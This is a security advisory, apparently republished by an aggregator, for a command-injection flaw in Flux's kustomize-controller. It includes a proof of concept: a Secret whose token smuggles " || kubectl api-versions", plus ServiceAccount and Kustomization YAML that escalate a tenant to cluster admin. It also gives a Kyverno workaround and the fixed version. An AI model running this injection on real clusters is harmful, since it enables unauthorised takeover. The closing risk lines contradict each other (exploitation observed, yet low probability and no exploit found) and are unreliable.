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GHSA-35rf-v2jv-gfg7
No affected components available
Users that can create Kubernetes Secrets, Service Accounts and Flux Kustomization objects, could execute commands inside the kustomize-controller container by embedding a shell script in a Kubernetes Secret. This can be used to run kubectl commands under the Service Account of kustomize-controller, thus allowing an authenticated Kubernetes user to gain cluster admin privileges.
Impact
Multitenant environments where non-admin users have permissions to create Flux Kustomization objects are affected by this issue.
Exploit
To exploit the command injection, first we create a secret with a shell command:
kubectl create secret generic exploit-token --from-literal=token=" || kubectl api-versions"
Then we create a Service Account that refers to the above Secret:
apiVersion: v1
kind: ServiceAccount
metadata:
name: exploit
namespace: default
automountServiceAccountToken: false
secrets:
- name: exploit-token
And finally a Kustomization that runs under the above Service Account:
apiVersion: kustomize.toolkit.fluxcd.io/v1beta1
kind: Kustomization
metadata:
name: exploit
namespace: default
spec:
interval: 5m
path: "./deploy/"
sourceRef:
kind: GitRepository
name: app
serviceAccountName: exploit
When kustomize-controller reconciles the above Kustomization, it will execute the shell command from the secret.
Patches
This vulnerability was fixed in kustomize-controller v0.15.0 (included in flux2 v0.18.0) released on 2021-10-08. Starting with v0.15, the kustomize-controller no longer executes shell commands on the container OS and the kubectl binary has been removed from the container image.
Workarounds
To prevent the creation of Kubernetes Service Accounts with secrets in namespaces owned by tenants, a Kubernetes validation webhook such as Gatekeeper OPA or Kyverno can be used.
apiVersion: kyverno.io/v1
kind: ClusterPolicy
metadata:
name: restrict-sa
spec:
validationFailureAction: enforce
background: false
rules:
- name: validate-sa
match:
resources:
kinds:
- ServiceAccount
namespaces:
- tenant1
- tenant2
subjects:
- kind: User
name: some@tenant1.com
- kind: User
name: some@tenant2.com
- kind: ServiceAccount
name: kustomize-controller
namespace: flux-system
- kind: ServiceAccount
name: helm-controller
namespace: flux-system
validate:
message: "Invalid service account"
pattern:
X(secrets): "*?"
References
Disclosed by ADA Logics in a security audit of the Flux project sponsored by CNCF and facilitated by OSTIF.
For more information
If you have any questions or comments about this advisory:
- Open an issue in kustomize-controller repository
The vulnerability can be exploited over the network without needing physical access. It is easy for an attacker to exploit this vulnerability. An attacker needs basic access or low-level privileges. No user interaction is needed for the attacker to exploit this vulnerability. The impact is confined to the system where the vulnerability exists. There is a high impact on the confidentiality of the information. There is a high impact on the integrity of the data. There is a high impact on the availability of the system.
Exploitation activity has been observed. Apply available patches or mitigations urgently.
The exploit probability is very low. The vulnerability is unlikely to be exploited in the next 30 days.
We did not find any exploit available. Neither in GitHub repositories nor in the Exploit-Database.
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